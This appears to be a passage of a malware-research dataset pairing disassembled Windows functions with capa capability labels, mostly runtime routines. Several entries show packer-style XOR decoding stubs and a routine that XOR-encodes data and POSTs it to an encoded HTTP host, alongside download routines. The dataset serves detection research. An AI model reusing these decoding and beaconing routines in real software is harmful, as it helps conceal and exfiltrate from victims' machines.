joyce8/EMBER2024-capa huggingface dataset:
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
nop
nop
pop eax
add eax, 0x403daa
nop
sub eax, 0x403d50
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
jl 0x430030
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x43001e
nop
nop
popal
nop
nop
nop
nop
jmp fcn.00401219
Function at 0x401af0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call dbg.__acrt_iob_func
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov dword [esp], 2
call dbg.__acrt_iob_func
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x401b50
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x40539c]
test esi, esi
jle 0x401c50
mov eax, dword [0x4053a0]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp edx, ebx
ja 0x401b80
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x401bff
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x401b70
mov dword [esp], ebx
call dbg.__mingw_GetSectionForAddress
mov edi, eax
test eax, eax
je 0x401c77
mov eax, dword [0x4053a0]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call dbg._GetPEImageBase
mov edx, dword [0x4053a0]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x401c57
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x401bf8
sub eax, 4
and eax, 0xfffffffb
jne 0x401c06
add dword [0x40539c], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0x20]
add ebx, dword [0x4053a0]
mov dword [ebx + 4], eax
mov dword [ebx + 8], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], 0x40
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x401bf8
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call dbg.__report_error
xor esi, esi
jmp 0x401b8a
mov eax, dword [0x4053a0]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call dbg.__report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call dbg.__report_error
lea esi, [esi]
nop
Function at 0x402130
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x4053b8
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x4053b0]
sub esp, 4
test ebx, ebx
je 0x402185
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x40217e
test esi, esi
je 0x40217e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402160
mov dword [esp], 0x4053b8
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x414deb
Capabilities:
Encode data using xor

Disassembly:
xor dword [eax], edx
sub esi, edi
add ecx, ecx
or ecx, esi
add eax, 4
cmp eax, ebx
jne fcn.00414deb
and edi, esi
ret
Function at 0x401000
Capabilities:
Read file on windows

Disassembly:
sub esp, 0xc
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 8], eax
push 0x8000
push 0
call fcn.00404018
push eax
call fcn.0040409c
add esp, 8
push eax
call fcn.00404a40
add esp, 8
push 0x8000
push 1
call fcn.00404018
push eax
call fcn.0040409c
add esp, 8
push eax
call fcn.00404a40
push 0
call fcn.00404018
push eax
push 5
lea eax, [esp + 0x14]
push 1
push eax
call fcn.004042a9
add esp, 0x1c
cmp eax, 5
jne 0x4010fb
nop dword [eax]
movzx eax, byte [esp]
and eax, 3
push eax
call fcn.00404673
movzx eax, byte [esp + 8]
push eax
call fcn.00404673
movzx eax, byte [esp + 8]
shr eax, 2
and eax, 3
push eax
call fcn.00404673
movzx eax, byte [esp + 0xf]
push eax
call fcn.00404673
movzx eax, byte [esp + 0x10]
shr eax, 4
and eax, 3
push eax
call fcn.00404673
movzx eax, byte [esp + 0x16]
push eax
call fcn.00404673
movzx eax, byte [esp + 0x18]
shr eax, 6
push eax
call fcn.00404673
movzx eax, byte [esp + 0x1d]
push eax
call fcn.00404673
push 0
call fcn.00404018
push eax
push 5
lea eax, [esp + 0x2c]
push 1
push eax
call fcn.004042a9
add esp, 0x34
cmp eax, 5
je 0x401070
push 0
call fcn.004049ed
int3

Function at 0x401908
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401947
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401947
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401947
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401947
cmp dword [ecx + 0x74], 0xe
jbe 0x401947
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x406294
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x411488
push 0x411480
push str.FlsAlloc
push 0x1e
call fcn.00406155
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4062c8
push dword [ebp + 8]
mov ecx, esi
call dword [0x410118]
call esi
jmp 0x4062ce
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x406312
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x411498
push 0x411490
push str.FlsGetValue
push 0x20
call fcn.00406155
mov esi, eax
add esp, 0x10
test esi, esi
je 0x406349
push dword [ebp + 8]
mov ecx, esi
call dword [0x410118]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x406a47
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x416fa8]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x406a87
cmp byte [ebx], 0xa
jne 0x406a87
or byte [eax + edi + 0x28], 4
jmp 0x406a8c
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x406b8a
mov al, byte [edx]
cmp al, 0x1a
je 0x406b6c
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x406abb
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x406ae0
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x406aea
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x406a9d
jmp 0x406b8a
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x406b67
cmp dword [ebp - 0xc], 0
je 0x406b67
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x416fa8]
test byte [eax + edi + 0x28], 0x48
je 0x406b41
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x406b2c
mov byte [esi], dl
jmp 0x406b3d
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x416fa8]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x406b8a
cmp byte [ebp - 1], 0xa
jne 0x406b50
cmp esi, ebx
jne 0x406b50
mov byte [esi], 0xa
jmp 0x406b89
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0040bc02
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x406b8a
mov byte [esi], 0xd
jmp 0x406b89
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x416fa8]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x406b86
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x406b8a
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x406b93
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x416fa8]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x406bd6
cmp word [esi], dx
jne 0x406bd6
or byte [edi + eax + 0x28], 4
jmp 0x406bdb
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x406d14
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x406cf4
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x406c1d
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x406c53
cmp eax, edx
jae 0x406c5f
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x406bf5
jmp 0x406d14
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x406cf0
cmp dword [ebp - 0x14], 0
je 0x406cf0
mov eax, dword [ebx*4 + 0x416fa8]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x406cc8
mov cx, word [ebp - 4]
pop eax
cmp cx, ax
je 0x406d0e
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x416fa8]
push 0xa
mov byte [edi + eax + 0x2a], cl
mov eax, dword [ebx*4 + 0x416fa8]
shr cx, 8
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x416fa8]
pop ecx
mov byte [edi + eax + 0x2c], cl
jmp 0x406d11
pop ebx
cmp word [ebp - 4], bx
jne 0x406cd9
cmp esi, dword [ebp + 0xc]
jne 0x406cd9
mov word [esi], bx
jmp 0x406d11
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.0040bc02
add esp, 0x10
cmp word [ebp - 4], bx
je 0x406d14
push 0xd
jmp 0x406d0d
mov ecx, dword [ebx*4 + 0x416fa8]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x406d0b
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x406d14
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x407535
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004073a6
Function at 0x409545
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x4095e2
push ebx
push esi
call fcn.0040950e
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00409457
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x40958f
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x4095e1
push edi
push eax
call fcn.00409bdd
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x4095af
call fcn.00405fe8
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x4095e0
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00409457
add esp, 0x20
test eax, eax
jne 0x4095ce
push edi
call fcn.00405fe8
jmp 0x4095d6
push ebx
call fcn.00405fe8
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x40f140
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40f16d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40f16d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x408078
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x408115
push ebx
push esi
call fcn.00408041
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00407fd5
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x4080c2
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x408114
push edi
push eax
call fcn.004069db
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x4080e2
call fcn.00406a29
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x408113
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00407fd5
add esp, 0x20
test eax, eax
jne 0x408101
push edi
call fcn.00406a29
jmp 0x408109
push ebx
call fcn.00406a29
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x409324
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x46b690
push 0x46b688
push str.FlsAlloc
push 0x1f
call fcn.004091e3
mov esi, eax
add esp, 0x10
test esi, esi
je 0x409358
push dword [ebp + 8]
mov ecx, esi
call dword [0x414130]
call esi
jmp 0x40935e
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x4093a2
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x46b6a0
push 0x46b698
push str.FlsGetValue
push 0x21
call fcn.004091e3
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4093d9
push dword [ebp + 8]
mov ecx, esi
call dword [0x414130]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x4093e1
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x46b6a8
push 0x46b6a0
push str.FlsSetValue
push 0x22
call fcn.004091e3
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40941b
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x414130]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x401000
Capabilities:
Check os version

Disassembly:
sub esp, 0xa0
mov eax, dword [0x412008]
xor eax, esp
mov dword [esp + 0x9c], eax
push 0x98
lea eax, [esp + 8]
push 0
push eax
call fcn.00406b00
add esp, 0xc
lea ecx, [esp]
push ecx
mov dword [esp + 4], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x401053
mov ecx, dword [esp + 0x9c]
xor ecx, esp
call fcn.004033e4
add esp, 0xa0
ret
mov eax, dword [esp + 4]
cmp eax, 6
jne 0x4010e1
mov eax, dword [esp + 8]
test eax, eax
jne 0x40108c
cmp byte [esp + 0x9a], 1
mov ecx, dword [esp + 0x9c]
setne al
xor ecx, esp
lea eax, [eax + eax + 4]
call fcn.004033e4
add esp, 0xa0
ret
cmp eax, 1
jne 0x4010b7
xor eax, eax
cmp byte [esp + 0x9a], 1
setne al
mov ecx, dword [esp + 0x9c]
xor ecx, esp
lea eax, [eax + eax + 5]
call fcn.004033e4
add esp, 0xa0
ret
cmp eax, 2
jne 0x401131
xor eax, eax
cmp byte [esp + 0x9a], 1
setne al
mov ecx, dword [esp + 0x9c]
add eax, 8
xor ecx, esp
call fcn.004033e4
add esp, 0xa0
ret
cmp eax, 5
jne 0x401131
mov eax, dword [esp + 8]
cmp eax, 2
jne 0x401109
mov ecx, dword [esp + 0x9c]
mov eax, 3
xor ecx, esp
call fcn.004033e4
add esp, 0xa0
ret
cmp eax, 1
jne 0x401128
mov eax, 2
mov ecx, dword [esp + 0x9c]
xor ecx, esp
call fcn.004033e4
add esp, 0xa0
ret
test eax, eax
jne 0x401131
mov eax, 1
mov ecx, dword [esp + 0x9c]
xor ecx, esp
call fcn.004033e4
add esp, 0xa0
ret

Function at 0x401170
Capabilities:
Get disk information

Disassembly:
add esp, 0xfffff7f0
mov eax, dword [0x412008]
xor eax, esp
mov dword [esp + 0x80c], eax
push ebx
xor ebx, ebx
push 0x3ff
lea eax, [esp + 0x415]
push ebx
push eax
mov byte [esp + 0x41c], bl
call fcn.00406b00
push 0x3ff
lea ecx, [esp + 0x21]
push ebx
push ecx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
mov byte [esp + 0x28], bl
call fcn.00406b00
add esp, 0x18
push 0x400
lea ebx, [esp + 0x14]
push ebx
lea edx, [esp + 0x14]
push edx
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x14]
push edx
push 0x400
lea eax, [esp + 0x428]
push eax
push 0x410470
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
neg eax
mov ecx, dword [esp + 0x810]
sbb eax, eax
and eax, dword [esp + 4]
pop ebx
xor ecx, esp
call fcn.004033e4
sub esp, 0xfffff7f0
ret
Function at 0x4018e0
Capabilities:
Connect to http server
Send data
Send http request

Disassembly:
sub esp, 8
mov eax, dword [0x412008]
xor eax, esp
mov dword [esp + 4], eax
mov eax, dword [esp + 0xc]
push ebx
push ebp
mov ebx, dword [esp + 0x1c]
push esi
push edi
push 0xfa
mov ebp, ecx
mov dword [esp + 0x14], eax
call fcn.00403aef
mov edi, eax
sub esp, 0xfffffffc
test edi, edi
je 0x401a54
push 0xfa
push 0
push edi
call fcn.00406b00
sub esp, 0xfffffff4
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push ebx
push ebp
push 0x414560
push edi
call fcn.004033f3
mov ebp, dword [esp + 0x34]
sub ebp, 0xffffffe8
push ebp
call fcn.00403aef
add esp, 0x18
mov esi, eax
or esi, esi
je 0x401a45
mov dword [esi], ebx
mov dword [esi + 4], ebp
mov ebx, dword [0x414764]
mov dword [esi + 8], ebx
mov ecx, dword [0x414768]
mov dword [esi + 0xc], ecx
mov eax, dword [0x41476c]
mov edx, dword [esp + 0x20]
mov dword [esi + 0x10], eax
mov ecx, dword [0x414770]
mov eax, dword [esp + 0x10]
push edx
mov dword [esi + 0x14], ecx
push eax
lea ecx, [esi + 0x18]
push ecx
call fcn.004090e0
add esp, 0xc
xor ecx, ecx
test ebp, ebp
jle 0x4019b5
lea esp, [esp]
mov al, byte [ecx + esi]
or al, al
je 0x4019b0
cmp al, 0x59
je 0x4019b0
xor al, 0x59
mov byte [ecx + esi], al
inc ecx
cmp ecx, ebp
jl 0x4019a0
mov edx, dword [str.___x9:7__9_3x59_]
mov eax, dword [0x414798]
push 0
push 0
push 3
push 0
push 0
push 0x50
push edx
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [esp + 0x10], eax
test eax, eax
je 0x401a45
push 0
push 0x100
push 0
push 0
push str.HTTP_1.1
push edi
push str.POST
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov ebx, eax
or ebx, ebx
je 0x401a49
push ebp
push esi
push 0
push 0
push ebx
call dword [sym.imp.WININET.dll_HttpSendRequestA]
cmp eax, 1
jne 0x401a49
push edi
call fcn.00403a12
push esi
call fcn.00403a12
mov ebp, dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [esp + 0x18]
add esp, 8
push ecx
call ebp
push ebx
call ebp
pop edi
mov al, 1
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 4]
xor ecx, esp
call fcn.004033e4
add esp, 8
ret
mov ebx, dword [esp + 0x10]
push edi
call fcn.00403a12
sub esp, 0xfffffffc
jmp 0x401a5c
mov ebx, dword [esp + 0x10]
mov esi, dword [esp + 0x10]
or esi, esi
je 0x401a69
push esi
call fcn.00403a12
sub esp, 0xfffffffc
mov eax, dword [esp + 0x10]
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
test eax, eax
je 0x401a7a
push eax
call edi
test ebx, ebx
je 0x401a81
push ebx
call edi
mov ecx, dword [esp + 0x14]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
xor al, al
call fcn.004033e4
add esp, 8
ret
Function at 0x401aa0
Capabilities:
Read data from internet
Receive data

Disassembly:
sub esp, 0x134
mov eax, dword [0x412008]
xor eax, esp
mov dword [esp + 0x130], eax
push esi
push 0x12b
lea eax, [esp + 0xd]
push 0
push eax
mov byte [esp + 0x14], 0
call fcn.00406b00
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea ecx, [esp + 0xc]
push 0x414660
push ecx
call fcn.004033f3
add esp, 0xc
mov eax, dword [0x414798]
push 0
push 0x100
push 0
push 0
lea edx, [esp + 0x18]
push edx
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
test esi, esi
je 0x401b5a
mov edx, dword [0x41479c]
push ebx
lea ecx, [esp + 8]
push ecx
push 0xb00000
push edx
push esi
mov dword [esp + 0x18], 0
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
setne bl
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
test bl, bl
pop ebx
je 0x401b5a
cmp dword [esp + 4], 0
je 0x401b5a
mov al, 1
pop esi
mov ecx, dword [esp + 0x130]
xor ecx, esp
call fcn.004033e4
add esp, 0x134
ret
mov ecx, dword [esp + 0x134]
pop esi
xor ecx, esp
xor al, al
call fcn.004033e4
add esp, 0x134
ret

Function at 0x401b80
Capabilities:
Read data from internet
Receive data

Disassembly:
mov eax, dword [0x412008]
sub esp, 0x134
xor eax, esp
mov dword [esp + 0x130], eax
push ebp
push 0x12b
lea eax, [esp + 0xd]
push 0
push eax
mov byte [esp + 0x14], 0
call fcn.00406b00
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea ecx, [esp + 0xc]
push 0x414460
push ecx
call fcn.004033f3
add esp, 0xc
mov eax, dword [0x414798]
push 0
push 0x100
push 0
push 0
lea edx, [esp + 0x18]
push edx
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov ebp, eax
test ebp, ebp
jne 0x401bff
pop ebp
mov ecx, dword [esp + 0x130]
xor ecx, esp
call fcn.004033e4
add esp, 0x134
ret
push esi
mov esi, dword [0x41479c]
push 0xb00000
push 0
push esi
call fcn.00406b00
add esp, 0xc
lea ecx, [esp + 8]
push ecx
push 0xb00000
push esi
push ebp
mov dword [esp + 0x18], 0
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x401c3c
mov eax, dword [esp + 8]
test eax, eax
jne 0x401c6d
push ebp
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [esp + 8]
test eax, eax
je 0x401c54
push eax
call fcn.00403a12
add esp, 4
pop esi
pop ebp
xor eax, eax
mov ecx, dword [esp + 0x130]
xor ecx, esp
call fcn.004033e4
add esp, 0x134
ret
push edi
push eax
call fcn.00403aef
mov esi, dword [esp + 0x10]
mov edi, eax
mov edx, dword [0x41479c]
push esi
push edx
push edi
call fcn.004090e0
mov edx, edi
add esp, 0x10
call fcn.004018c0
push ebp
mov dword [ebx], esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
call fcn.00401aa0
mov ecx, dword [esp + 0x13c]
mov eax, edi
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.004033e4
add esp, 0x134
ret